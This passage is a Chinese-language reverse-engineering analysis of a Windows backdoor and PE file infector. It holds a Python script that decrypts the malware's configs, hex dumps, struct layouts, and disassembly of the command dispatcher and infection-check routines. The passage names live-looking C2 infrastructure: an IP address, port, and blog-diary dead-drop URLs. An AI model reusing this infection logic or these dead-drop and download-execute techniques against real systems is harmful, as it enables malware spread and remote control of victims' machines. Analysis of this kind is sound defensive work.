            eax = (ord(ah) << 0x8) | ord(al)
            #print "eax %08x" % eax
            eax = eax - 0x4141
            edx = eax
            eax = eax >> 4
            eax = edx | eax
            #print "after or eax %08x" % eax
            decrypt_data.append(chr(eax & 0xff))
            found_offset = found_offset+2
            ecx = ecx - 1
      decrypt_data_ = "".join(decrypt_data)
      first_dword = struct.unpack('I',decrypt_data_)
      if first_dword <= data_len:
            check_value = struct.unpack('H',decrypt_data_)
            print "check_value %08x" % check_value
            ecx = first_dword
            eax = 0
            esi = decrypt_data_
            cur_offset = 0
            while ecx >= 4:
                eax = eax + struct.unpack('I',esi)
                cur_offset = cur_offset + 4
                ecx = ecx -4
            eax = eax & 0xffff
            if eax == check_value:
                real_data = decrypt_data_
                hOutFile.write(real_data)

    else:
      
      print "no content found"
      

if __name__=="__main__":
    if len(sys.argv) != 2:
      print "usage: %pro download_config"
      os.sys.exit(1)
    srcFile = os.sys.argv
    hSrc = file(srcFile, "rb")
    data = hSrc.read()
    hSrc.close()
    dstFile = "%s.decrypt.v" % srcFile
    hDstFile = file(dstFile, "wb")
    Decrypt_Config(data, hDstFile)
    hDstFile.close()

大小0x5f

$ ==>    >41 10 49 7D 44 4E 46 55AI}DNFU
$+8      >70 64 61 74 65 30 33 30pdate030
$+10   >38 2E 65 78 65 00 68 748.exe.ht
$+18   >74 70 3A 2F 2F 77 77 77tp://www
$+20   >2E 31 64 69 73 6B 2E 63.1disk.c
$+28   >6E 2F 43 6F 6E 74 65 6En/Conten
$+30   >74 50 61 6E 65 2E 61 73tPane.as
$+38   >70 78 3F 64 6F 77 6E 3Dpx?down=
$+40   >6F 6B 26 66 69 6C 65 70ok&filep
$+48   >61 74 68 3D 74 65 73 74ath=test
$+50   >37 37 35 38 25 32 66 447758%2fD
$+58   >4E 46 2E 64 61 74 00   NF.dat.



解密后的数据,
的结构为:



struct download_config
{
+0 dword frist_dword 下载的文件大小

+4 byte byte_4取决于byte_5

+5 byte byte_5

+len(filename) 之后的下载连接
}

如果byte_5是“:”,分两种情况,

byte_4是 “%” ,则下到系统目录
byte_4不是 “%” 则会判断文件是否存在,如果不存在,直接下载到当前目录

如果byte_5不是“:”,从偏移为4 开始作为文件名的一部分下载到临时目录






接下来从

http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358
http://home.51.com/?u=test4862&c=diary&a=getdataview&id=10052358下载的数据为:
{

window.modData = {"view":{"id":"10052358","gid":"135189","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########AKAAAAAAHAHAAAAAAAAAHAHAAAAAAAAA","weekday":"1","show_time":"2010-11-21 19:46:00","flower":"0","egg":"0","ping":"0","click":"4223644","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/test4862\/diary\/item\/10052358.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290340014"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/test4862\/diary\/item\/.html"},"catalog":[{"id":"135189","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/test4862\/diary\/group\/135189","count":"1"},{"id":"135190","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/test4862\/diary\/group\/135190","count":"0"},{"id":"135191","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/test4862\/diary\/group\/135191","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u6e05\u98ce\u4f9d\u65e7","face":"http:\/\/p4.u.51img1.com\/40\/47\/dis13141998_50.gif?v=20110614170758","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"0","isopen":"0","user":"dis13141998","_user":"dis13141998","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\ufe4f\u53f6\u843d\u65e0\u58f0\u3001","face":"http:\/\/p6.u.51img1.com\/63\/63\/236527861_50.gif?v=20111013151050","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"236527861","_user":"aweiy_z","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"4"},"morediary":[],"current":{"gid":"135189","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/test4862\/diary\/group\/135189"}};

}

同样解密算法
返回的大小 0x0a

$ ==>    >00 00 00 00 70 70 00 00....pp..
$+8      >00 00                  ..

$ ==>    00900020    00 00 00 00 70 70 00 00....pp..
$+8      00900028    00 00 70 70 00 00 00 00..pp....
$+10   00900030    EF 37 66 A3 3B FF FF EF?f?
$+18   00900038    33 7E 7F 3A E6 FF FF FF3~:?
$+20   00900040    EE FF FF FF FF FF FF EF?
$+28   00900048    EF 37 BE 66 EF EF EF EF?緁镲镲
$+30   00900050    66 FF EF EF EF FA F6 FFf镲嵇?
$+38   00900058    EF EF 32 BA 2A FF FF FF镲2?
$+40   00900060    FF FF EF 33 F7 32 73 FF??s
$+48   00900068    EF EF 33 72 36 E7 B2 FF镲3r6绮
$+50   00900070    EF FF EF 27 33 5F 73 73??3_ss
$+58   00900078    FF EF EF 37 A3 5F 2E EE镲7.
$+60   00900080    6F EF EF EF EF 27 33 5Fo镲镲'3_
$+68   00900088    F7 FF EF EF EF 73      ?镲飐镲



struct confif_data_for_backdoor
{
+0 dword 判断是否需要从其他链接中下载配置文件 如果为0 则表示需要 赋值给00401854
+4 word 赋值给00401852
+6 word 扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为0040184c初始为0 或得结果为70700000
但是解密返回来的大小为0xa 如果这个是个dword明显超出了 我们回头看看其解密过程的末尾
.text:00401AC5               mov   ecx,
.text:00401AC8               mov   edi,
.text:00401ACB               mov   esi, edi
.text:00401ACD               add   esi, 6
.text:00401AD0               rep movsb
显然它把解密后的数据从偏移为6 开始向前覆盖了 所以偏移为+a 的word就是偏移为4的word 即0x7070
}

看看控制的相关代码:

.text:004050CD                   execute_command_accordingto_dword_flag proc near
.text:004050CD                                                         ; CODE XREF: net_activity+102p
.text:004050CD                                                         ; net1+1C4p
.text:004050CD
.text:004050CD                   arg_0_confif_data_for_backdoor_jia_c= dword ptr8
.text:004050CD                   arg_4_0x1000    = dword ptr0Ch
.text:004050CD
.text:004050CD 55                              push    ebp
.text:004050CE 8B EC                           mov   ebp, esp
.text:004050D0                   ; nop code
.text:004050D7 B8 48 18 40 00                  mov   eax, 401848h
.text:004050DC F7 00 00 00 00 10               test    dword ptr , 10000000h
.text:004050E2 74 0D                           jz      short loc_4050F1
.text:004050E4 FF 75 0C                        push   
.text:004050E7 FF 75 08                        push   
.text:004050EA E8 2A 0E 00 00                  call    Download_file_execute
.text:004050EF EB 21                           jmp   short loc_405112
.text:004050F1                   ; nop code
.text:004050F8 B8 48 18 40 00                  mov   eax, offset unk_401848
.text:004050FD F7 00 00 00 00 20               test    dword ptr , 20000000h
.text:00405103 74 0D                           jz      short loc_405112
.text:00405105 FF 75 0C                        push   
.text:00405108 FF 75 08                        push   
.text:0040510B E8 17 1B 00 00                  call    CreateFile_Exuecute
.text:00405110 EB 00                           jmp   short $+2
.text:00405112                   ; nop code
.text:00405119 B8 48 18 40 00                  mov   eax, offset unk_401848
.text:0040511E F7 00 00 00 00 40               test    dword ptr , 40000000h
.text:00405124 74 05                           jz      short locret_40512B
.text:00405126 E8 47 E6 FF FF                  call    Infect_with_flag__
.text:0040512B
.text:0040512B                   locret_40512B:                        ; CODE XREF: execute_command_accordingto_dword_flag+57j
.text:0040512B C9                              leave
.text:0040512C C2 08 00                        retn   



if (control_flag& 0x10000000)
    下载执行,其中连接由confif_data_for_backdoor+c 指定
    goto infect

if (control_flag& 0x20000000)
    如果有% 则直接用系统盘替换%
    否则,在系统目录下创建文件 文件名由confif_data_for_backdoor+c 指定
    goto infect

infect:


if (control_flag& 0x40000000)
    if (control_flag& 0x00000001)
    {
      40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件

      40000081什么也不做
      40000021 写入与文件夹同名的exe 保证图标与文件夹图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
      40000041 写入与doc同名的exe 保证图标与doc文档图标一致 属性为FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM

      40000009 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件

      40000011 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
    }

    if (control_flag& 0x00000002)
      枚举各个盘符只感染如下文件
      'RarExt.dll',0      
      'ppsap.exe',0
      'procdll.dll',0
      'thunders.dll',0
      'Storm.dll',0


前面说过了

confif_data_for_backdoor的第一个dword决定了是否继续下载配置文件 我们下载下来的dword为0 其会继续下载,

http://home.51.com/?u=lichao3596&c=diary&a=getdataview&id=10047625

下载的数据为:
{
window.modData = {"view":{"id":"10047625","gid":"133252","is_top":"0","heart":"","title":"2010-11-21\u7684\u65e5\u8bb0","memo":"########DLAAAAAAFFCENOKOHDJLHAHAEAAABPABAAGACFDKFMFAHCGPGHHCGBGNCAEGGJGMGFHDFMFEGFGOGDGFGOHEFMFBFBFMENFBFBFCGFHDFMFBFBENHFHDGJGDCOGFHIGFAA","weekday":"1","show_time":"2010-11-21 16:25:00","flower":"0","egg":"0","ping":"0","click":"4216665","sources":"0","share_flag":"1","share_users":"","hide_comment":"0","share_num":"0","url":"\/lichao3596\/diary\/item\/10047625.html","_can_view":"1","_desc":"","_putpass":"0","add_time":"1290327905"},"prev":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0a\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u7b2c\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"next":{"id":"0","gid":"0","title":"\u6682\u65e0\u4e0b\u4e00\u7bc7,\u5f53\u524d\u6b63\u662f\u6700\u540e\u4e00\u7bc7","show_time":"","url":"\/lichao3596\/diary\/item\/.html"},"catalog":[{"id":"133252","name":"\u6211\u7684\u65e5\u8bb0","hide":"0","url":"\/lichao3596\/diary\/group\/133252","count":"1"},{"id":"133253","name":"\u6211\u7684\u6587\u7ae0","hide":"0","url":"\/lichao3596\/diary\/group\/133253","count":"0"},{"id":"133254","name":"\u7f51\u7edc\u6587\u6458","hide":"0","url":"\/lichao3596\/diary\/group\/133254","count":"0"}],"comment":{"list":{"total":"0","pages":"0","page":"0","rows":[],"userinfo":[]}},"sharelist":[],"lastvisitor":{"rows":[{"nickname":"\u65e0\u804a","face":"http:\/\/static.51img1.com\/sysface\/man_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/man.gif","viplink":"","isconfirm":"1","isopen":"0","user":"vbvbvbzq","_user":"vbvbvbzq","sex":"\u5148\u751f","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u95ef\u5165\u8005","face":"http:\/\/p9.u.51img1.com\/9e\/a5\/lilina198787_50.gif?v=20090404160945","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"lilina198787","_user":"lilina198787","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"\u71a0","face":"http:\/\/p3.u.51img1.com\/39\/75\/yilin261010107_50.gif?v=20090528094841&cool=0","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"1","isopen":"0","user":"yilin261010107","_user":"yilin261010107","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"54243","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"237955579","_user":"5759497","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""},{"nickname":"Amu2730","face":"http:\/\/static.51img1.com\/sysface\/woman_none_50.jpg","sexpic":"http:\/\/static.51img1.com\/v3\/themes\/skins\/images\/woman.gif","viplink":"","isconfirm":"0","isopen":"0","user":"amu2730","_user":"amu2730","sex":"\u5973\u58eb","prov":"","guestlevel":"","vconfirm":"","vconfirmbg":"","vconfirmword":""}],"total":"5"},"morediary":[],"current":{"gid":"133252","ghide":"0","gname":"\u6211\u7684\u65e5\u8bb0","gcount":"1","url":"\/lichao3596\/diary\/group\/133252"}};
}
解密后的数据为:
返回的大小为0x3b

$ ==>>DE AE 73 9B 70 70 40 00蕻s沺p@.
$+8    >1F 01 00 60 25 3A 5C 50.`%:\P
$+10   >72 6F 67 72 61 6D 20 46rogram F
$+18   >69 6C 65 73 5C 54 65 6Eiles\Ten
$+20   >63 65 6E 74 5C 51 51 5Ccent\QQ\
$+28   >4D 51 51 52 65 73 5C 51MQQRes\Q
$+30   >51 4D 75 73 69 63 2E 65QMusic.e
$+38   >78 65 00 63 2E 65 78 65xe.c.exe
$+40   >00 EF 37 66 A3 3B FF FF.?f?
$+48   >EF 33 7E 7F 3A E6 FF FF?~:?
$+50   >FF EE FF FF FF FF FF FF?

这个结构体和前面的结构体解析是一样的 不过这里的第一个dword 不是作为标志了 而是一个ip地址,用来连接执行后门功能的

其中
00401850指向一个sockaddr


struct confif_data_for_backdoor
{
+0 dword ip_address 赋值给00401854
+4 wordport 赋值给00401852
+6 word扩充为dword赋值给00401844
+8 dword control_flag 与dword(0040184c)相或 赋值给00401848 控制接下来的行为0040184c初始为0 或得结果为6000011F
}
根据前面的分析 可知道该control_flag 执行的功能为:


创建系统盘:\Program Files\Tencent\QQ\MQQRes\QQMusic.exe   
   
{
40000101 删除doc后缀同名的文件 删除与文件夹同名的文件 删除inf文件

40000008 如果标志位为40000208 则不检查是否被感染直接感染 主要针对dll文件

40000010 如果标志位为40000410 则不检查是否被感染直接感染 主要针对exe文件
}

枚举各个盘符只感染如下文件
.text:00401B71 52 61 72 45 78 74+String1         db 'RarExt.dll',0       ; DATA XREF: infect_pe+CAo
.text:00401B7C 70 70 73 61 70 2E+aPpsap_exe_0    db 'ppsap.exe',0
.text:00401B86 70 72 6F 63 64 6C+aProcdll_dll    db 'procdll.dll',0
.text:00401B92 74 68 75 6E 64 65+aThunders_dll   db 'thunders.dll',0
.text:00401B9F 53 74 6F 72 6D 2E+aStorm_dll      db 'Storm.dll',0



由配置文件可知其连接的ip为:

222.174.115.155 端口为0x7070


执行后门功能的主要线程地址为:

0040512f
后门的功能包括:

获取系统网络信息
下载执行文件
感染pe文件
获取进程列表
杀进程
删除和拷贝文件
截屏
更新ip地址和端口
还会记录计算机名等其他信息到注册表
等等
代码:
.text:0040512F sub_40512F      proc near               ; DATA XREF: @net_activity_start+4Do
.text:0040512F
.text:0040512F read_size       = dword ptr -5F4h
.text:0040512F fromlen         = dword ptr -5F0h
.text:0040512F from            = sockaddr ptr -5ECh
.text:0040512F buf             = byte ptr -5DCh
.text:0040512F s               = dword ptr8
.text:0040512F
.text:0040512F               push    ebp
.text:00405130               mov   ebp, esp
.text:00405132               add   esp, 0FFFFFA0Ch
.text:00405138               mov   , 10h
.text:00405142
.text:00405142 @recv:                                  ; CODE XREF: sub_40512F+6Ej
.text:00405142                                       ; sub_40512F+DCj ...
.text:00405142               lea   eax,
.text:00405148               push    eax             ; fromlen
.text:00405149               lea   eax,
.text:0040514F               push    eax             ; from
.text:00405150               push    0               ; flags
.text:00405152               push    4B0h            ; len
.text:00405157               lea   eax,
.text:0040515D               push    eax             ; buf
.text:0040515E               push             ; s
.text:00405161 ; nop code
.text:00405169               call    recvfrom
.text:0040516F               test    eax, eax      ; eax = number of bytes to read
.text:00405171               jz      @reand_data_is_zero_ro_toobig
.text:00405177               cmp   eax, 4B0h
.text:0040517C               ja      @reand_data_is_zero_ro_toobig
.text:00405182               mov   , eax
.text:00405188 ; nop code
.text:0040518F               mov   eax, offset sockaddrr
.text:00405194               mov   eax,
.text:00405197               cmp   eax, dword ptr
.text:0040519D               jnz   short @recv
.text:0040519F               xor   eax, eax
.text:004051A1               mov   al,
.text:004051A7               cmp   eax, 4
.text:004051AA               jz      short @first_byte_is_4
.text:004051AC               cmp   eax, 3
.text:004051AF               jz      short loc_405223
.text:004051B1               cmp   eax, 1
.text:004051B4               jz      @first_byte_is_1
.text:004051BA               cmp   eax, 9
.text:004051BD               jz      @first_byte_is_9
.text:004051C3               cmp   eax, 0Ah
.text:004051C6               jz      @first_byte_is_a
.text:004051CC               cmp   eax, 0Ch
.text:004051CF               jz      @first_byte_is_c
.text:004051D5               cmp   eax, 6
.text:004051D8               jz      @first_byte_is_6
.text:004051DE               cmp   eax, 0Dh
.text:004051E1               jz      @First_byte_is_D
.text:004051E7               cmp   eax, 0Eh
.text:004051EA               jz      @first_byte_is_e
.text:004051F0               cmp   eax, 0Fh
.text:004051F3               jz      @first_byte_is_f
.text:004051F9               cmp   eax, 10h
.text:004051FC               jz      @first_byte_is_10
.text:00405202               cmp   eax, 11h
.text:00405205               jz      @first_byte_is_11
.text:0040520B               jmp   @recv
.text:00405210 ; ---------------------------------------------------------------------------
.text:00405210
.text:00405210 @first_byte_is_4:                     ; CODE XREF: sub_40512F+7Bj
.text:00405210               push    8
.text:00405212               lea   eax,
.text:00405218               push    eax
.text:00405219               call    Get_mcname_in_reg
.text:0040521E               jmp   @recv
.text:00405223 ; ---------------------------------------------------------------------------
.text:00405223
.text:00405223 loc_405223:                           ; CODE XREF: sub_40512F+80j
.text:00405223               mov   eax,
.text:00405229               dec   eax
.text:0040522A               push    eax
.text:0040522B               lea   eax,
.text:00405231               push    eax
.text:00405232               call    Set_mcname_in_reg
.text:00405237               jmp   @recv
.text:0040523C ; nop code
.text:00405243               mov   eax, offset unk_40188C
.text:00405248               cmp   dword ptr , 0
.text:0040524B               jnz   short loc_405273
.text:0040524D               mov   eax, dword ptr
.text:00405253               push    eax
.text:00405254               mov   eax, dword ptr
.text:0040525A               test    eax, eax
.text:0040525C               jnz   short loc_40526D
.text:0040525E ; nop code
.text:00405265               mov   eax, offset sockaddrr
.text:0040526A               mov   eax,
.text:0040526D
.text:0040526D loc_40526D:                           ; CODE XREF: sub_40512F+12Dj
.text:0040526D               push    eax
.text:0040526E               call    backdoor
.text:00405273
.text:00405273 loc_405273:                           ; CODE XREF: sub_40512F+11Cj
.text:00405273               jmp   @recv
.text:00405278 ; ---------------------------------------------------------------------------
.text:00405278
.text:00405278 @first_byte_is_9:                     ; CODE XREF: sub_40512F+8Ej
.text:00405278               call    query_data_in_reg_send_out
.text:0040527D               jmp   @recv
.text:00405282 ; ---------------------------------------------------------------------------
.text:00405282
.text:00405282 @first_byte_is_a:                     ; CODE XREF: sub_40512F+97j
.text:00405282               mov   eax,
.text:00405288               dec   eax
.text:00405289               push    eax
.text:0040528A               lea   eax,
.text:00405290               push    eax
.text:00405291               call    Save_recv_data_to_reg
.text:00405296               jmp   @recv
.text:0040529B ; ---------------------------------------------------------------------------
.text:0040529B
.text:0040529B @first_byte_is_c:                     ; CODE XREF: sub_40512F+A0j
.text:0040529B               call    Send_sysinfo
.text:004052A0               jmp   @recv
.text:004052A5 ; ---------------------------------------------------------------------------
.text:004052A5
.text:004052A5 @first_byte_is_6:                     ; CODE XREF: sub_40512F+A9j
.text:004052A5               call    Close_Socket
.text:004052AA               jmp   @recv
.text:004052AF ; ---------------------------------------------------------------------------
.text:004052AF
.text:004052AF @First_byte_is_D:                     ; CODE XREF: sub_40512F+B2j
.text:004052AF               push    3E8h
.text:004052B4               lea   eax,
.text:004052BA               push    eax
.text:004052BB               call    Download_File_Execute_
.text:004052C0               jmp   @recv
.text:004052C5 ; ---------------------------------------------------------------------------
.text:004052C5
.text:004052C5 @first_byte_is_e:                     ; CODE XREF: sub_40512F+BBj
.text:004052C5               lea   eax,
.text:004052CB               push    eax
.text:004052CC               call    Exec
.text:004052D1               jmp   @recv
.text:004052D6 ; ---------------------------------------------------------------------------
.text:004052D6
.text:004052D6 @first_byte_is_f:                     ; CODE XREF: sub_40512F+C4j
.text:004052D6               push    3E8h
.text:004052DB               lea   eax,
.text:004052E1               push    eax
.text:004052E2               call    Download_File_Execute
.text:004052E7               jmp   @recv
.text:004052EC ; ---------------------------------------------------------------------------
.text:004052EC
.text:004052EC @first_byte_is_10:                      ; CODE XREF: sub_40512F+CDj
.text:004052EC               lea   eax,
.text:004052F2               push    eax
.text:004052F3               call    Delete_FILE_IN_TMP
.text:004052F8               jmp   @recv
.text:004052FD ; ---------------------------------------------------------------------------
.text:004052FD
.text:004052FD @first_byte_is_11:                      ; CODE XREF: sub_40512F+D6j
.text:004052FD               push    3E8h
.text:00405302               lea   eax,
.text:00405308               push    eax
.text:00405309               call    Download_File
.text:0040530E               jmp   @recv
.text:00405313 ; nop code
.text:0040531A               mov   eax, offset unk_401860
.text:0040531F               cmp   dword ptr , 0FFFFFFFFh
.text:00405322               jz      short @retn
.text:00405324               push    3E8h            ; dwMilliseconds
.text:00405329 ; nop code
.text:00405331 ; ---------------------------------------------------------------------------
.text:00405331               call    Sleep
.text:00405337               jmp   @recv
.text:0040533C ; nop code
.text:00405343               mov   eax, 401888h
.text:00405348               mov   dword ptr , 0
.text:0040534E               leave
.text:0040534F               retn    4
.text:0040534F sub_40512F      endp


最后看一下其感染pe文件的过程,感染exe的过程在00402124,程序首先会判断待感染程序是否已经被感染:

.text:00401FCE Check_Infect_Or_not proc near         ; CODE XREF: infect_pe+124p
.text:00401FCE                                       ; Infect_with_flag+153p ...
.text:00401FCE
.text:00401FCE Section_TABLE   = S_PE_SECTION ptr -1B8h
.text:00401FCE PEHEADER      = S_PE_HEADER ptr -190h
.text:00401FCE MZHeader      = S_MZ_HEADER ptr -98h
.text:00401FCE First_0x50_bytes_of_every_section= byte ptr -58h
.text:00401FCE hfile         = dword ptr -8
.text:00401FCE is_infected   = dword ptr -4
.text:00401FCE arg_0_full_file_path= dword ptr8
.text:00401FCE arg_4_patch_call_num= dword ptr0Ch
.text:00401FCE
.text:00401FCE               push    ebp
.text:00401FCF               mov   ebp, esp
.text:00401FD1               add   esp, 0FFFFFE48h
.text:00401FD7               push    ebx
.text:00401FD8               push    ecx
.text:00401FD9               push    edx
.text:00401FDA               push    edi
.text:00401FDB               push    esi
.text:00401FDC               mov   , 1
.text:00401FE3               mov   eax, 0FFFFh
.text:00401FE8               and   , eax

                打开文件 判断是否是pe文件
.text:00401FEB               push    0
.text:00401FED               push    80h
.text:00401FF2               push    3
.text:00401FF4               push    0
.text:00401FF6               push    3
.text:00401FF8               push    80000000h
.text:00401FFD               push   
.text:00402000 ; nop code
.text:00402008 ; ---------------------------------------------------------------------------
.text:00402008               call    CreateFileA
.text:0040200E               cmp   eax, 0FFFFFFFFh
.text:00402011               jz      loc_402118
.text:00402017               mov   , eax
.text:0040201A               push    0
.text:0040201C               push    40h
.text:0040201E               lea   eax,
.text:00402024               push    eax
.text:00402025               push   
.text:00402028               call    Read_fILE
.text:0040202D               test    eax, eax
.text:0040202F               jz      @closehandle
.text:00402035               cmp   word ptr , 5A4Dh
.text:0040203E               jnz   @closehandle
.text:00402044               push   
.text:00402047               push    0F8h
.text:0040204C               lea   eax,
.text:00402052               push    eax
.text:00402053               push   
.text:00402056               call    Read_fILE
.text:0040205B               test    eax, eax
.text:0040205D               jz      @closehandle
.text:00402063               cmp   dword ptr , 4550h
.text:0040206D               jnz   @closehandle
.text:00402073               xor   ecx, ecx
.text:00402075               mov   ebx,
.text:00402078               add   ebx, 0F8h


                节的数目不能大于0x10
.text:0040207E               movzx   ecx,
.text:00402085               cmp   ecx, 10h
.text:00402088               ja      short @closehandle


.text:0040208A               mov   , 0


                读取每个节的头0x50 个bytes 进行解密 检查
.text:00402091
.text:00402091 @loop_section_check:                  ; CODE XREF: Check_Infect_Or_not+130j
.text:00402091               test    ecx, ecx
.text:00402093               jz      short @closehandle
.text:00402095               push    ebx
.text:00402096               push    28h
.text:00402098               lea   eax,
.text:0040209E               push    eax
.text:0040209F               push   
.text:004020A2               call    Read_fILE
.text:004020A7               test    eax, eax
.text:004020A9               jz      short @closehandle
.text:004020AB               push   
.text:004020B1               push    50h
.text:004020B3               lea   eax,
.text:004020B6               push    eax
.text:004020B7               push   
.text:004020BA               call    Read_fILE
.text:004020BF               test    eax, eax
.text:004020C1               jz      short @closehandle
.text:004020C3               lea   edi,
.text:004020C6               mov   eax,
.text:004020C8               mov   esi, 50h
.text:004020CD
.text:004020CD @decrypt_first_0x50_section:            ; CODE XREF: Check_Infect_Or_not+10Bj
.text:004020CD               test    esi, esi
.text:004020CF               jz      short @check_infect_or_not
.text:004020D1               xor   , eax
.text:004020D3               sub   esi, 4
.text:004020D6               add   edi, 4
.text:004020D9               jmp   short @decrypt_first_0x50_section
.text:004020DB ; ---------------------------------------------------------------------------
.text:004020DB



                如果解密后的第二个dword = 0x77582588 说明已经被感染,继续检查,第三个dword 应该为0x1xxxx形式,
                third_dword & 0xffff要大于等于传进来的要抽取多少个call的数量,否则的话也不会设定已经被感染


.text:004020DB @check_infect_or_not:                   ; CODE XREF: Check_Infect_Or_not+101j
.text:004020DB               cmp   dword ptr , 77582588h
.text:004020E2               jnz   short @next_section
.text:004020E4               mov   eax, dword ptr
.text:004020E7               test    eax, 10000h
.text:004020EC               jnz   short @already_infected
.text:004020EE               and   eax, 0FFFFh
.text:004020F3               cmp   eax,
.text:004020F6               jge   short @already_infected
.text:004020F8               jmp   short @closehandle
.text:004020FA ; ---------------------------------------------------------------------------
.text:004020FA
.text:004020FA @next_section:                        ; CODE XREF: Check_Infect_Or_not+114j
.text:004020FA               add   ebx, 28h
.text:004020FD               dec   ecx
.text:004020FE               jmp   short @loop_section_check
.text:00402100 ; ---------------------------------------------------------------------------
.text:00402100
.text:00402100 @already_infected:                      ; CODE XREF: Check_Infect_Or_not+11Ej
.text:00402100                                       ; Check_Infect_Or_not+128j
.text:00402100               mov   , 1
.text:00402107
.text:00402107 @closehandle:                           ; CODE XREF: Check_Infect_Or_not+61j
.text:00402107                                       ; Check_Infect_Or_not+70j ...
.text:00402107               push   
.text:0040210A ; nop code
.text:00402112 ; ---------------------------------------------------------------------------
.text:00402112               call    CloseHandle
.text:00402118
.text:00402118 loc_402118:                           ; CODE XREF: Check_Infect_Or_not+43j
.text:00402118               mov   eax,
.text:0040211B               pop   esi
.text:0040211C               pop   edi
.text:0040211D               pop   edx
.text:0040211E               pop   ecx
.text:0040211F               pop   ebx
.text:00402120               leave
.text:00402121               retn    8


感染过程,病毒作者应该没有考虑pe文件有overlay的情况,如果有overlay会被病毒代码直接复写掉:
.text:00402124 Infect_EXE_dllproc near               ; CODE XREF: infect_known_file+82p
.text:00402124                                       ; Infect_with_flag+171p ...
.text:00402124
.text:00402124 Section         = S_PE_SECTION ptr -30Ch
.text:00402124 PEHEADER      = S_PE_HEADER ptr -2E4h
.text:00402124 MZHeader      = S_MZ_HEADER ptr -1ECh
.text:00402124 First_0x64_bytes_of_every_section= byte ptr -1ACh
.text:00402124 patch_call_info = patch_call_info ptr -148h
.text:00402124 counter         = dword ptr -48h
.text:00402124 alloc_address1= dword ptr -44h
.text:00402124 Section.size_in_file= dword ptr -40h
.text:00402124 Section.offset_in_file= dword ptr -3Ch
.text:00402124 Section.relative_virtual_address= dword ptr -38h
.text:00402124 Section.size_in_file_chuyi_6= dword ptr -34h
.text:00402124 is_infected   = dword ptr -30h
.text:00402124 sizeof_added_section_960a_file_aligment= dword ptr -2Ch
.text:00402124 filesize_mod_filealigment= dword ptr -28h
.text:00402124 oep             = dword ptr -24h
.text:00402124 sizeof_alloc_address2= dword ptr -20h
.text:00402124 alloc_address2= dword ptr -1Ch
.text:00402124 filesize      = dword ptr -18h
.text:00402124 lase_section_table_end= dword ptr -14h
.text:00402124 filesize_file_aligment= dword ptr -10h
.text:00402124 sizeof_added_section_960a_image_aligment= dword ptr -0Ch
.text:00402124 rva_jia_vsize_of_lastsection_image_aligment= dword ptr -8
.text:00402124 hFile         = dword ptr -4
.text:00402124 arg_0_file_to_be_infected= dword ptr8
.text:00402124 arg_4_patch_call_num= dword ptr0Ch
.text:00402124
.text:00402124               push    ebp
.text:00402125               mov   ebp, esp
.text:00402127               add   esp, 0FFFFFCF4h
.text:0040212D               push    esi
.text:0040212E               push    edi
